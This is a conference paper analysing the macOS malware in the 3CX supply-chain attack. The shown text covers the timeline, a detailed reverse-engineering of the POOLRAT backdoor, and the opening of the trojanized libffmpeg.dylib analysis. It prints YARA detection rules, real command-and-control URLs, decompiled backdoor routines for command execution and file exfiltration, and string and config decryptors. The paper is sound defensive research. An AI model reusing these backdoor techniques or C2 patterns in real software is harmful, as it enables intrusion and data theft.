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ABSTRACT
Supply chain attacks are some of the most damaging cybersecurity incidents, capable of infecting a massive number of 
unsuspecting users and companies through widely used and trusted software. And although the majority of such attacks 
impact Windows-based computers, the recent nation-state attack against the popular PBX software provider 3CX was also 
capable of infecting macOS systems.

Believed to be the first ‘chained’ supply chain attack (where initial access to 3CX was gained via a separate supply chain 
attack), this paper will focus on its macOS payloads. To start, we will analyse the implant installed by the attackers to 
maintain persistent access to 3CX’s macOS build server. Then, we will dive into the malicious library that was 
surreptitiously slipstreamed into a malicious update and installed globally by 3CX’s unsuspecting macOS enterprise users. 
Lastly, we’ll detail the core capabilities of the self-deleting second-stage payload downloaded and executed by the 
trojanized installer. 

OVERVIEW
Before we dive into the technical analysis of the payloads, let’s start with a broader overview of the attack. This will 
provide a high-level understanding of the entire attack, which we will continue to reference as we then dig into the 
low-level technical details of each of the macOS payloads. 

Supply chain attacks are notoriously hard both to detect and to fully reconstruct the chain of events. Often, as was the case 
here, it begins with end-users noticing that something appears to be amiss. Working backwards, it takes time for users, 
researchers, and forensics professionals to uncover and understand all pieces of the puzzle and provide what is hopefully an 
accurate and comprehensive reconstruction of the full attack. 

Though the technical research of the 3CX-specific macOS payloads was initially performed (by yours truly) the very day 
the attack was originally detected, additional research and reporting on other aspects of the attack have now given us all a 
fairly comprehensive understanding and timeline of events. As such, we now have the luxury of explaining the attack from 
the very beginning.

We can present a timeline of the relevant detection and analysis events and reports – which, given the ‘work backwards’ 
approach, flows rather from the end of the attack (infected users) back to its original source (the Trading Technologies 
company).  

The first reports that something was amiss can be found on 3CX’s forums [1]. A posting from 22 March 2023 noted that at 
least one AV product had flagged the actions of the 3CX’s (Windows) installer. 

Figure 1: Posting on 3CX forum.

Unfortunately, many believed that these initial alerts were false positives. About a week later, on 29 March, CrowdStrike 
published a report after its researchers had ‘observed unexpected malicious activity emanating from a legitimate, signed 
binary, 3CXDesktopApp’ [2]. This confirmed the 3CX supply-chain attack. 

On that same day, SentinelOne published its own preliminary findings in a report titled ‘SmoothOperator: Ongoing 
Campaign Trojanizes 3CX Software in Software Supply-Chain Attack’ [3]. 
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Figure 2: CrowdStrike reports unexpected malicious activity from a 3CXDesktopApp binary.

Both of these reports were (understandably) rather light on technical details, and more focused almost solely on 
Windows, with the SentinelOne report noting ‘at this time, we cannot confirm that the Mac installer is similarly 
trojanized’. 

The first analysis of the macOS malware payload (found within the 3CX installer), was published by myself for the 
Objective-See Foundation also on 29 March. Titled ‘Ironing out (the macOS) details of a Smooth Operator (Part I)’ [4], it 
both pinpointed the malicious components in the signed and notarized 3CX macOS installer and provided a comprehensive 
technical analysis and IoCs. 

On 1 April, the second-stage macOS payload was exclusively obtained and analysed again by Objective-See, leading to my 
second report on the topic [5].

In terms of a forensics report on the matter, 3CX brought in Mandiant, who published various reports as the picture of what 
went wrong began to come into focus. Mandiant’s final report, ‘3CX Software Supply Chain Compromise Initiated by a 
Prior Software Supply Chain Compromise; Suspected North Korean Actor Responsible’ [6], is seen as the definitive guide 
for many aspects of this supply-chain attack (especially those related to attribution and details of initial infection), and thus 
is cited often in our paper. Most notably, Mandiant’s findings revealed how the attackers were able to compromise 3CX in 
the first place – via another supply chain attack altogether:  

‘Mandiant identified that the initial compromise vector of 3CX’s network was via malicious software downloaded from 
Trading Technologies website. This is the first time Mandiant has seen a software supply chain attack lead to another 
software supply chain attack.’ 

The CISO of 3CX echoed this as well, noting:

‘Mandiant identified the source of our internal network compromise began in 2022 when an employee installed the 
Trading Technologies X_TRADER software on the employee’s personal computer. Although the X_TRADER 
installation software was downloaded from the Trading Technologies website, it contained VEILEDSIGNAL malware, 
which enabled the threat actor (identified as UNC4736) to initially compromise and maintain persistence on the 
employee’s personal computer.’ [7]

The image in Figure 3 (originally found in the Mandiant report) diagrammatically paints a full picture of the chained 
supply chain attack.

With a high-level understanding of the attack and its timeline, we’re ready to dive into more technical topics, specifically 
focusing on the three malicious macOS components used in the attack. 



MAC-ING SENSE OF THE 3CX SUPPLY CHAIN ATTACK: ANALYSIS OF THE MACOS PAYLOADS WARDLE

4 VIRUS BULLETIN CONFERENCE OCTOBER 2023

Figure 3: Full picture of the chained supply chain attack [6].

THE POOLRAT BACKDOOR 
In the overview section we noted that Mandiant had determined that the attackers were able to infect 3CX’s systems when a 
3CX employee installed the X_TRADER software from Trading Technologies. As Trading Technologies had already been 
compromised by the attackers and the X_TRADER software had been trojanized, this then gave the attackers initial access 
to 3CX. It is worth highlighting once again that this meant that 3CX was compromised itself by a separate supply-chain 
attack. 
Though this initial access compromised a Windows computer, after obtaining enterprise VPN credentials from the infected 
machine the attackers were able to move laterally through 3CX enterprise systems until ultimately infecting the macOS 
build system:

‘[the] investigation was able to reconstruct the threat actor’s steps through our environment as they harvested credentials 
and moved laterally. Eventually, the threat actor was able to compromise both the Windows and macOS build 
environments… The macOS build server was compromised using a POOLRAT backdoor using LaunchDaemons as a 
persistence mechanism.’ [7]

In this section of the paper we’ll dig into the backdoor used to persistently infect the 3CX macOS build machine. First 
though, it’s worth noting that initially there was some confusion over the identity of this backdoor, as Mandiant initially 
claimed it was a new malware specimen they dubbed ‘SIMPLESEA’. However, subsequent analysis identified it as 
POOLRAT:

‘Previous reporting mentioned the macOS build server was compromised with SIMPLESEA. Mandiant Intelligence 
completed analysis of the sample and determined it to be the backdoor POOLRAT instead of a new malware family’ [6]

Second, it’s not exactly clear which POOLRAT binary was used by the attackers, as initial reporting mentioned a 
POOLRAT binary with an MD5 hash of d9d19abffc2c7dac11a16745f4aea44f [8], while in Mandiant’s final report, a 
YARA rule to detect a POOLRAT binary specifies an MD5 of 451c23709ecd5a8461ad060f6346930c (and no mention 
of the first hash):

rule MTI_Hunting_POOLRAT {
	meta:
		 author = "Mandiant"
		 disclaimer = "This rule is meant for hunting and is not tested to run in a production 
environment"
		 description = "Detects strings found in POOLRAT. "
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		 md5 = "451c23709ecd5a8461ad060f6346930c"
		 date = "10/28/2020"
		 version = "1"
	strings:
		 $str1 = "name=\"uid\"%s%s%u%s" wide ascii
		 $str2 = "name=\"session\"%s%s%u%s" wide ascii
		 $str3 = "name=\"action\"%s%s%s%s" wide ascii
		 $str4 = "name=\"token\"%s%s%u%s" wide ascii
		 $boundary = "--N9dLfqxHNUUw8qaUPqggVTpX-" wide ascii nocase
	condition: 
		 any of ($str*) or $boundary
}

We’ll focus on the second POOLRAT binary (MD5: 451c23709ecd5a8461ad060f6346930c), both because it’s the one 
mentioned in Mandiant’s final report and (unlike the first binary), a public sample of the binary is available for analysis. 
Either way, it seems that the functionality of both versions of POOLRAT are quite similar, if not identical. 
Finally, before we dive into the analysis of POOLRAT, we should note that, unlike the other macOS payloads used in this 
attack (and detailed later in this paper), POOLRAT had been both seen in the wild and triaged before. In fact, SentinelOne 
researcher Phil Stokes noted that macOS’s built-in malware detector (XProtect) already contained a detection rule, dating 
back several years:

‘Interestingly, Apple’s XProtect contains a signature for POOLRAT that was added as long ago as July 2020 in XProtect 
version 2124.’ [3]

If we take a peek at macOS’ XProtect.yara file, we find the signature (‘MACOS_c723519’) that matches on the 
hexadecimal representation of various strings embedded in the POOLRAT binary.

rule XProtect_MACOS_c723519
{
	 meta:
		  description = "MACOS.c723519"
	 strings:
		  $s1 = { 5F 6D 5F 43 6F 6E 66 69 67 }
		  $s2 = { 5F 5F 5A 39 53 65 74 43 6F 6E 66 69 67 76 }
		  $s3 = { 5F 5F 5A 31 30 4C 6F 61 64 43 6F 6E 66 69 67 76 }
		  $s4 = { 5F 5F 5A 31 30 53 61 76 65 43 6F 6E 66 69 67 76 }
		  $s5 = { 5F 5F 5A 31 33 4D 65 73 73 61 67 65 54 68 72 65 61 64 76 }
	 condition:
		  Macho and filesize < 100KB and all of them
}

It’s an open question as to why XProtect did not detect and thus block the binary on 3CX’s macOS build system, as it will 
match against the version of POOLRAT mentioned in Mandiant’s final report. (Perhaps the other version of POOLRAT 
[MD5: 451c23709ecd5a8461ad060f6346930c] was used and is not detected by this rule – as this sample was never 
shared, this is only a hypothesis.) 
In terms of existing analysis, the Mandiant report noted that POOLRAT was ‘previously reported [and triaged] by CISA’. 
Consulting CISA’s report [9], we find it contains a triage of POOLRAT’s capabilities and ties it conclusively to Lazarus 
group (North Korean) hackers.
The POOLRAT binary is described in the Mandiant report as: 

‘A C/C++ macOS backdoor capable of collecting basic system information and executing commands. The commands 
performed include running arbitrary commands, secure deleting files, reading and writing files, updating the configuration.’

File type (SHA-256) hash Name(s)
Mach-O binary (64bit, Intel) 5E40D106977017B1ED235419B1E59FF090E1F43AC57DA1 

BB5D80D66AE53B1DF8
prtspool

Using macOS’s built-in file tool, we can see the binary (prtspool), is a 64-bit Mach-O compiled to run natively on 
Intel-based macs:

% file PoolRAT/prtspool 
PoolRAT/prtspool: Mach-O 64-bit executable x86_64

Note: Via Rosetta such binaries can also run on Apple Silicon (i.e. arm64).
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After checking its code-signing information, we can see that, though signed, the binary is signed via an ad hoc code-signing 
certificate: 

% codesign -dvv PoolRAT/prtspool
Executable=PoolRAT/prtspool
Identifier=xttm-5555494424668e99d3173e03a74c86801f09f4a9
Format=Mach-O thin (x86_64)
CodeDirectory v=20100 size=574 flags=0x2(adhoc) hashes=10+5 location=embedded
Signature=adhoc
Info.plist=not bound
TeamIdentifier=not set

Using the strings tool, we find embedded strings that appear to show logic related to building network requests, 
addresses of command-and-control servers, paths to (configuration?) files, and the names of functions likely related to core 
functionality:

% strings - PoolRAT/prtspool

--%s%sContent-Disposition: form-data; name="token"%s%s%u%s
--%s%sContent-Disposition: form-data; name="upload"; filename="plain.jpg"%sContent-Type: 
http://
https://
POST

/private/etc/krb5d.conf

https://airbseeker.com/rediret.php
https://globalkeystroke.com/pockbackx.php
https://www.woodmate.it/administrator/help/en-GB/bins/tags/taghelper.php

__Z4RecvPhPj
__Z11GetSizeFilePc
__Z10LoadConfigv
__Z10SaveConfigv
__Z9GetOSInfoP15_COMINFO_STRUCT
__Z10GetComInfoP15_COMINFO_STRUCT
__Z7MSG_RunP11_MSG_STRUCT
__Z7MSG_CmdP11_MSG_STRUCT
__Z6MSG_UpP11_MSG_STRUCT
__Z8MSG_DownP11_MSG_STRUCT

Using the nm tool we can extract the malware’s symbols that include function names. As the malware was written in C++ 
though, we pipe the nm output through c++filt, to demangle these function names, which again, give us insight into 
POOLRAT’s (likely) capabilities:

% nm PoolRAT/prtspool | c++filt

0000000100003dd2 t Initialize()
0000000100002161 t LoadConfig()
...
0000000100001f70 t GetFileTime(char*, char*)
0000000100001f47 t GetSizeFile(char*)
...
0000000100002837 t Connect(char*, unsigned int, unsigned int)
00000001000036ff t MSG_Cmd(_MSG_STRUCT*)
0000000100003071 t MSG_Dir(_MSG_STRUCT*)
00000001000035ec t MSG_Run(_MSG_STRUCT*)
... 
0000000100000e87 t SendPost(char*, unsigned char*, unsigned int, unsigned char*, unsigned 
int*)
... 
0000000100002604 t GetOSInfo(_COMINFO_STRUCT*)

As the malware is not stripped, and many strings and function names were not obfuscated, we’ve gained significant insight 
into its likely capabilities simply from extracting these. However, it turns out that other strings are obfuscated, and only 
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decrypted at runtime. Let’s discuss how to decrypt these, as they can shed even more light onto the capabilities of the 
malware.
The following snippet of disassembly, from the malware’s entrypoint, shows what appears to be an encrypted string being 
concatenated and then passed to a function named GetTrick:

000000010000474b movabs	 rax, 0xe04247a4e570e4d 
0000000100004755 lea		 rbx, qword [rbp+var_20]
0000000100004759 mov		 qword [rbx], rax
000000010000475c mov		 word [rbx+8], 0x4414
0000000100004762 mov		 esi, 0xa
0000000100004767 mov		 rdi, rbx
000000010000476a call	 GetTrick

In a debugger we can (more easily) examine what is being passed to this invocation of GetTrick: the sequence of what 
appear to be encrypted bytes 0x4d 0x0e 0x57 0x4e… and their length (0x0a):

% lldb PoolRAT/prtspool
...

(lldb) 
Process 24641 stopped
prtspool`main:
->  0x10000476a <+81>: callq  0x1000047da  ; GetTrick(unsigned char*, unsigned int)

(lldb) x/10xb $rdi
0x30410e370: 0x4d 0x0e 0x57 0x4e 0x7a 0x24 0x04 0x0e 0x14 0x44

(lldb) reg read $rsi
rsi = 0x0a

Examining the disassembly of the GetTrick function (which we’ve annotated) shows that at its core it simply de-XOR’s 
the passed-in string using values from a hard-coded key: bj28UJqbxz7789HgsdW73hdu8A5Stream:

GetTrick(unsigned char*, unsigned int)

00000001000047e3 dec		 esi			   ; length--
00000001000047e5 je		  leave			   ; leave if zero

00000001000047e7 mov		 r8d, esi		  ; length 
00000001000047ea lea		  rsi, qword [key]	 ; "bj28UJqbxz7789HgsdW73hdu8A5Stream"
00000001000047f1 xor		  ecx, ecx		  ; init index

decrypt:
00000001000047fd mov		  rax, rcx		  ; index into key
...

0000000100004812 mov		 al, byte [rsi+rax]	 ; key[offset]
0000000100004815 xor		 byte [rdi+rcx], al	 ; string[index] ^ key[offset] 
0000000100004818 inc		 rcx 			   ; index++
000000010000481b inc		 rsi			   ; key++
000000010000481e cmp		 r8, rcx			  ; index != length?
0000000100004821 jne		 decrypt			  ; continue 

As we know the key and the de-XOR logic, we can write a simple decryptor (that decrypts strings which are less than the 
length of the key):

key = "bj28UJqbxz7789HgsdW73hdu8A5Stream"

def decrypt(string):

	 for i in range(len(string)):
		  string[i] = string[i] ^ ord(key[i])

We can then invoke our decryptor with the malware’s encrypted strings, for example the string 0x4d 0x0e 0x57 0x4e… 
we found in the malware’s main function: 

encrypted = bytes.fromhex("4D0E574E7A24040E14")
decrypted = decrypt(bytearray(encrypted))

print(decrypted)
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This outputs the decrypted string ‘/dev/null’. 
If we look for cross-references to the GetTrick function (found at 0x1000047da), we can find all other encrypted strings. 

Figure 4: Other encrypted strings are found.

As there are only a dozen or so, we can manually extract them and pass them to our simple decryptor script. For example, 
in a function named GetOSInfo, a call at 0x10000271f to GetTrick decrypts the string ‘sw_vers -productVersion’. 
This is used by the malware to determine the infected host’s macOS version. In another method, MSG_Run, the malware 
decrypts the format string ‘%s >/dev/null 2>&1’ that is used to redirect standard output and error to /dev/null when 
executing commands or subsequent payloads received from the command-and-control server. 

Of course we could also just allow the malware to execute in a debugger and set a breakpoint at the end of the GetTrick 
function, to then recover the decrypted strings. However, this approach might not decrypt all strings. For example, a string 
in a tasking function might only be decrypted in response to a certain command from the command-and-control server. 

Heading back to the malware’s main function, we see it first forks and continues execution in the child. This approach is 
often implemented to complicate debugging the malware (though in a debugger, one can just skip over the call to fork to 
thwart it):

int main(int arg0) {
	 if (fork() == 0x0) {
		  umask(0x0);
		  setsid();

		  var_20 = 0xe04247a4e570e4d;
		  *(&var_20 + 0x8) = 0x4414;
		  GetTrick(&var_20, 0xa);

		  rax = open(&var_20, 0x2);
		  dup(rax);
		  dup(rax);

		  chdir("/");
		  StartTask();
	 }
	 else {
		  rax = exit(0x0);
	 }
	 return rax;
}
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Then it decrypts the aforementioned string, ‘/dev/null’, before opening and duplicating the handle twice. Strangely, it 
doesn’t make use of the duplicated handles. After changing the current directory to /, it invokes a function named 
StartTask.
The StartTask function first attempts to load the malware’s configuration, and if none is found, it creates a default one. 
This logic is implemented in functions aptly named LoadConfig, SetConfig, and SaveConfig. 
int StartTask() {
	 ...
	 if (LoadConfig() == 0x0) {
		  SetConfig();
		  SaveConfig();
	 }

In the LoadConfig function, we find the path to the configuration file, though as its inlined it initially decoded by the 
disassembler as hexadecimal: 

0000000100002191	 movabs	 rax, 0x666e6f632e6435
000000010000219b	 mov	 qword [rbx-8], rax
000000010000219f	 movabs	 rax, 0x62726b2f6374652f
00000001000021a9	 mov	 qword [rbx-0x10], rax
00000001000021ad	 movabs	 rax, 0x657461766972702f
00000001000021b7	 mov	 qword [rbx-0x18], rax

However, we can instruct the disassembler to instead decode it as ASCII characters to more readily reveal the path: /
private/etc/krb5d.conf:

0000000100002191	 movabs	 rax, '5d.conf'
000000010000219b	 mov	 qword [rbx-8], rax
000000010000219f	 movabs	 rax, '/etc/krb'
00000001000021a9	 mov 	 qword [rbx-0x10], rax
00000001000021ad	 movabs	 rax, '/private'

Via a file monitor [10], we can watch the malware create and then write default configuration values to this file: 

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -filter prtspool 
{
	 "event" : "ES_EVENT_TYPE_NOTIFY_CREATE",
	 "file" : {
		  "destination" : "/private/etc/krb5d.conf",
		  "process" : { 
			   "pid" : 27395, 
			   "name" : "prtspool",
	 ...
		  }
	 }
}
{
	 "event" : "ES_EVENT_TYPE_NOTIFY_WRITE",
	 "file" : {
		  "destination" : "/private/etc/krb5d.conf",
		  "process" : { 
			   "pid" : 27395, 
			   "name" : "prtspool",
	 ...
		  }

	 }

However, examining the saved configuration file reveals its contents are encrypted:

% hexdump -C /private/etc/krb5d.conf
00000000  36 2a 2a 2e 2d 64 71 71  3f 37 2c 3c 2d 3b 3b 35  |6**.-dqq?7,<-;;5|
00000010  3b 2c 70 3d 31 33 71 2c  3b 3a 37 2c 3b 2a 70 2e  |;,p=13q,;:7,;*p.|
00000020  36 2e 5e 5e 5e 5e 5e 5e  5e 5e 5e 5e 5e 5e 5e 5e  |6.^^^^^^^^^^^^^^|
00000030  5e 5e 5e 5e 5e 5e 5e 5e  5e 5e 5e 5e 5e 5e 5e 5e  |^^^^^^^^^^^^^^^^|
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If we pass the disassembly of the SaveConfig function to ChatGPT it turns out it can write a decryptor for us! Specifically, 
we give it the prompt (and the disassembly of the SaveConfig function): ‘Given this function, write a Python script to open 
the file (extract the full path from the disassembly) and decrypt the data’. It responds with: ‘Based on the provided 
disassembly, it appears that the code is performing some operations to save a configuration file named “5d.conf” to the 
path … “/private/etc/krb5d.conf”. It then performs XOR encryption on the data before writing it to a file. To decrypt 
the data and read its contents, you can use the following Python code’

def decrypt_data(filename):
	 with open(filename, 'rb') as file:
		  encrypted_data = file.read()

	 decrypted_data = bytearray()
	 for byte in encrypted_data:
		  decrypted_byte = byte ^ 0x5e  # XOR decryption with key 0x5e
		  decrypted_data.append(decrypted_byte)

	 return decrypted_data

# Usage:
file_path = "/private/etc/krb5d.conf"
decrypted_content = decrypt_data(file_path)
print(decrypted_content)

We can confirm ChatGPT’s conclusions, by analysing the SaveConfig function ourselves, seeing both the (partially 
obfuscated) config’s file path and the hard-coded key 0x5e:

SaveConfig() {
	 bzero(&var_118, 0xed);
	 *(&var_118 - 0x8) = '5d.conf';
	 *(&var_118 - 0x10) = '/etc/krb';
	 *(&var_118 - 0x18) = '/private';
	 ...

	 do {
		  *(rbx + rax) = *(rbx + rax) ^ 0x5e;
		  rax = rax + 0x1;
	 } while (rax != 0x52e);
	 ...

Saving and running ChatGPT’s Python script decrypts the malware’s configuration file, revealing contents which include 
the addresses of the malware’s command-and-control servers: 

% python3 decryptConfig.py

bytearray(b'https://airbseeker.com/rediret.php...https://globalkeystroke.com/pockbackx.
php...https://airbseeker.com/rediret.php...https://www.woodmate.it/administrator/help/en-
GB/bins/tags/taghelper.php...

Shortly, we’ll see that the malware selects one of these to beacon out for tasking. 
Once the malware has loaded its configuration (or generated a new one if none is found), it sleeps for a short amount of 
time, then spawns off two threads to execute in background functions named ProxyThread and WorkThread:

pthread_create(..., ProxyThread(void*), 0x0);
...
pthread_create(..., WorkThread(void*), 0x0);

It will wait for the WorkThread function via the pthread_join API. 
The ProxyThread function contains the logic to connect to the attacker’s command-and-control server and receive tasking 
(which will then be handled by the WorkThread function). Specifically, it consults the malware’s configuration to 
randomly select one of its hard-coded command-and-control server addresses. Then it performs a brief survey about the 
infected host (encapsulated by a function named GetComInfo). This survey contains basic information such as host name, 
IP address, and macOS version:

int GetComInfo(COMINFO_STRUCT *) {
	 ...
	 rbx = arg0;
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	 if (gethostname(&var_60, 0x40) != 0xffffffff) {
		  strcpy(rbx + 0x4, &var_60);
	 }
	 GetOSInfo(rbx);
	 GetInternalIP(rbx);

If we run a process monitor [11], we can observe the malware executing various macOS utilities as part of this survey, such 
as sw_vers (with the -productName command line option) to obtain the version of macOS:

# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty
{
	 "event" : "ES_EVENT_TYPE_NOTIFY_EXEC",
	 "process" : {
		  "pid" : 28753 
		  "name" : "sw_vers", 
		  "path" : "/usr/bin/sw_vers",

		  "arguments" : [
		  "sw_vers",
		  "-productName"
		  ],
		  ...
	 }
}

Once this survey is complete the malware connects to the selected C&C server by creating a NSURLSession object and 
from that, a NSURLSessionDataTask object (via the dataTaskWithRequest:completionHandler: method). Apple’s 
documentation notes that this object is ‘a task that retrieves the contents of a URL based on the specified URL request 
object, and calls a handler upon completion’ [12]. Invoking the task’s resume method will trigger its execution, meaning 
the request to the specified URL will be made. 

In a debugger we can dump the URL request and its custom HTTP headers, which at the time of the call to 
dataTaskWithRequest:completionHandler: (via objc_msgSend), will be in the third argument (thus found in the 
RDX register):

(lldb) po $rdx
<NSMutableURLRequest: 0x600000008010> { URL: https://airbseeker.com/rediret.php }

(lldb) po [0x600000008010 allHTTPHeaderFields]
<CFBasicHash 0x60000170de80 [0x7ff85df407d0]>{type = mutable dict, count = 6,
entries =>
	 0 : User-Agent = <CFString 0x600003010000 [0x7ff85df407d0]>{contents = "Mozilla/5.0 
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 
Safari/537.36"}
	 2 : Accept = <CFString 0x100006328 [0x7ff85df407d0]>{contents = "*/*"}
	 3 : Content-Type = <CFString 0x60000210c000 [0x7ff85df407d0]>{contents = "multipart/
form-data; boundary=--N9dLfqxHNUUw8qaUPqggVTpX-"}
	 4 : Connection = <CFString 0x7ff85e17f948 [0x7ff85df407d0]>{contents = "Keep-Alive"}
	 5 : Host = <CFString 0x600000218060 [0x7ff85df407d0]>{contents = "airbseeker.com"}
	 6 : Content-Lengt = 2498
}

In this output, we also see the hard-coded string ‘N9dLfqxHNUUw8qaUPqggVTpX’, which CISA highlighted as an IOC in 
their triage, while Mandiant included it in the POOLRAT YARA rule. 
Let’s also dump the HTTP body (found in this instance at the dynamic address 0x10b808200): 

x/s 0x10b808200: "----N9dLfqxHNUUw8qaUPqggVTpX-\r\nContent-Disposition: form-data; 
name="uid"\r\n\r\n1230862841\r\n----N9dLfqxHNUUw8qaUPqggVTpX-\r\nContent-Disposition: 
form-data; name="session"\r\n\r\n1668225861\r\n----N9dLfqxHNUUw8qaUPqggVTpX-\r\nContent-
Disposition: form-data; name="action"\r\n\r\nlconn\r\n----N9dLfqxHNUUw8qaUPqggVTpX-\r\
nContent-Disposition: form-data; name="upload"; filename="plain.jpg"\r\nContent-Type: 
application/octet-stream\r\n\r\n\xffffffba,\xffffff9b..."

At the end of this HTTP body, we find encrypted data that analysis suggests includes the gathered survey data. To encrypt 
this data, the malware invoked its CryptProcess function. 
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Unfortunately (at least, for our analysis purposes), the malware’s command-and-control server(s) are now unresponsive:

Task <B729EFBB-1EAA-410E-9A8F-D0344075FCA9>.<1> finished with error 
[-1001] Error Domain=NSURLErrorDomain Code=-1001 "The request timed out." 
UserInfo={NSErrorFailingURLStringKey=https://airbseeker.com/rediret.php, 
NSErrorFailingURLKey=https://airbseeker.com/rediret.php, _kCFStreamErrorDomainKey=4, _
kCFStreamErrorCodeKey=-2103, NSLocalizedDescription=The request timed out.}

While the server was active though, depending on the response, the malware would either sleep, or invoke a helper function 
to receive tasking:

if (rax == 0x3520) {
 	 MessageThread();
}

Specifically, the MessageThread function would invoke the malware’s RecvMsg function to, as its name implies, receive 
tasking (a message) by making another request to the C&C server. If it received tasking it would invoke a function named 
PushMsg, which stored the message to in-memory stack. This message would then be handled by the WorkThread, which 
we’ll discuss now. 

Recall that the malware spawned two threads during startup. The second thread executes a function named WorkThread. 
The logic of the function is relatively straightforward. In a loop, it invokes the PopMsg function, to process messages 
received from the command-and-control server. Recall that such messages have been saved to an in-memory stack via the 
aptly named PushMsg function that was invoked by ProxyThread. 

Once a message is popped off the stack, the malware extracts an index and uses that to look up the appropriate message 
handler (via the switch table, found at 0x100004234):

WorkThread(void*) 
... 
000000010000415b	 lea 	 r15, qword [0x100004234]	;switch table 

0000000100004176	 mov 	 rdi, rbx
0000000100004179	 call	 PopMsg(_MSG_STRUCT*) 	 ;pop message (into rbx)

0000000100004182	 mov 	 eax, dword [rbx+4]	 ;extract message index
0000000100004185	 add 	 eax, r14d
...
000000010000418d	 movsxd	 rax, dword [r15+rax*4] 	 ;compute message handler offset
0000000100004191	 add	 rax, r15		          
0000000100004194 	 jmp	 rax 	 ;execute message handler

We could compute the message handlers manually via the values in the switch table, but it turns out the disassembler can 
do so too, especially as they fall within the WorkThread function:

00000001000041ac	 mov	 rdi, rbx
00000001000041af 	 call	 MSG_WriteConfig(_MSG_STRUCT*)
00000001000041b4	 jmp	 sub_1000041f0+20

000000010000541b6 	 mov	 rdi, rbx
00000001000041b9 	 call	 MSG_SecureDel(_MSG_STRUCT*)
00000001000041be 	 jmp	 popNextMsg

00000001000041c0 	 mov 	 rdi, rbx
00000001000041c3 	 call	 MSG_Up(_MSG_STRUCT*)
00000001000041c8 	 jmp	 popNextMsg

00000001000041ca 	 mov 	 rdi, rbx
00000001000041cd 	 call 	 MSG_Down(_MSG_STRUCT*)
00000001000041d2 	 jmp	 popNextMsg

00000001000041d4 	 mov	 rdi, rbx
00000001000041d7 	 call	 MSG_Cmd(_MSG_STRUCT*)
00000001000041dc 	 jmp	 popNextMsg

00000001000041de 	 mov	 rdi, rbx
00000001000041e1 	 call	 MSG_Run(_MSG_STRUCT*)
00000001000041e6 	 jmp 	 popNextMsg
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00000001000041e8  	 mov	 rdi, rbx
00000001000041eb 	 call	 MSG_Dir(_MSG_STRUCT*) 
00000001000041f0 	 jmp	 popNextMsg

00000001000041f2 	 mov	 rdi, rbx
00000001000041f5 	 call	 MSG_Test(_MSG_STRUCT*)
00000001000041fa 	 jmp	 popNextMsg

00000001000041fc 	 mov 	 rdi, rbx
00000001000041ff	 call	 MSG_SetPath(_MSG_STRUCT*)

...

Based on the functions’ names, as well as by analysing each, we can confirm the capabilities of the malware, which 
provides a remote attacker the ability to completely control an infected host (as well as upload and execute new payloads 
and exfiltrate files). 
Let’s take a look at some of these functions, starting with the MSG_Up function, which provides the capability of uploading 
(saving) a file from the C&C server to the infected system: 

MSG_Up(MSG_STRUCT * arg0) {
	 ...
	 rdi = arg0 + 0xc;
	 rsi = "a+";
	 if (*(arg0 + 0x110) == 0x0) {
		  rsi = "w+";
	 }
	 rax = fopen(rdi, rsi);
	 ...

	 rax = Recv(r13, &var_14C, r14, 0x0);
	 ...

	 fwrite(r13, rsi, 0x1, r15);
	 ...

Specifically using values from a passed in MSG_STRUCT, it opens a file in either +a or w+ mode. It then invokes the 
malware’s Recv function to receive data and writes it out to the file. 
On the other hand, the MSG_down function will download (exfiltrate) a file to the command-and-control server. 
Taking a look at the MSG_run function we see it using the popen function to execute a program or command:  

MSG_Run(MSG_STRUCT * arg0) {
...
rax = popen(&var_340, "r");

The MSG_Cmd function appears similar (also making use of popen), though it has the ability to read the output of the 
specified command and send it back to the command-and-control server. 
This wraps up the section of this paper that focused on analysing POOLRAT, the malware used to persistently infect the 
3CX macOS build server. Let’s now turn our attention to the malware that was surreptitiously inserted into the 3CX macOS 
installer, which impacted macOS enterprise customers around the world. 

LIBFFMPEG.DYLIB: THE FIRST-STAGE PAYLOAD 
While from the very start it was clear that 3CX’s Windows installers were surreptitiously subverted, initial reports were 
conflicted as to whether the macOS installers were similarly impacted. For example, we noted one of the initial reports 
stated: ‘at this time, we cannot confirm that the Mac installer is similarly trojanized’.
CrowdStrike’s report, on the other hand, did note that malicious activity tied to 3CX had been ‘observed on both Windows 
and macOS’. The same report also contained a hash to the latest 3CX disk image, which was believed to contain an infected 
installer. However, specific details on the malicious components inserted into this installer were not known (or perhaps had 
just not been made public) when our analysis began in late March. Our analysis thus started with triaging this disk image 
seeking to confirm if indeed it was subverted, and if so, exactly how and with what. 

File type (SHA-256) hash Name(s)
Apple Disk Image (.dmg) E6BBC33815B9F20B0CF832D7401DD893FB 

C467C800728B5891336706DA0DBCEC
3cxdesktopapp-latest.dmg 
3CXDesktopApp-18.12.416.dmg 
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We were able to obtain a copy of this disk image from VirusTotal. It had been uploaded on 29 March, though at that time, 
was not flagged by any of the anti-virus engines: 

Figure 5: The disk image had been uploaded to VirusTotal, but wasn’t at that time flagged by any of the anti-virus engines.

Mounting the disk image (either via the hdiutil command, or simply by double-clicking on it), you can see it contains a 
single file named ‘3CX Desktop App’.

Figure 6: The disk image contains a single file named 3CX Desktop App.

If we check this application’s code-signing information, we can see that not only was it validly signed by the 3CX 
developer, but it was also notarized by Apple! The latter means the attackers submitted it to Apple’s notarization service, 
which checked it for malware and, in Apple’s own words, ‘none was detected’ … yikes!

Figure 7: The application’s code-signing information.
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As Apple ‘approved’ the application for distribution, did this mean it was benign? Unfortunately, as we’ll see, the answer is 
no, though detecting the malicious code was a non-trivial exercise, especially as the application is almost 400 megabytes: 

% du -h /Volumes/3CXDesktopApp-18.12.416/3CX\ Desktop\ App.app
...
381M    /Volumes/3CXDesktopApp-18.12.416/3CX Desktop App.app

If we explore the application, we eventually find a binary named libffmpeg.dylib buried deep within the app’s 
Contents/Frameworks/Electron Framework.framework/Versions/A/Libraries directory.
Its SHA-256 hash is a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67, and also was 
not (initially) flagged as malicious by any of the anti-virus engines on VirusTotal:

Figure 8: The libffmpeg.dylib binary was not initially flagged as malicious by any of the anti-virus engines on VirusTotal.

This library will automatically be loaded when the main application is launched. We can illustrate this by using macOS’s 
otool, which shows it is a dependency of the Electron Framework.framework, which is a dependency of the main 
3CX desktop application:

% otool -L "3CX Desktop App.app/Contents/Frameworks/Electron Framework.framework/
Versions/A/Electron Framework"
... 
@rpath/libffmpeg.dylib

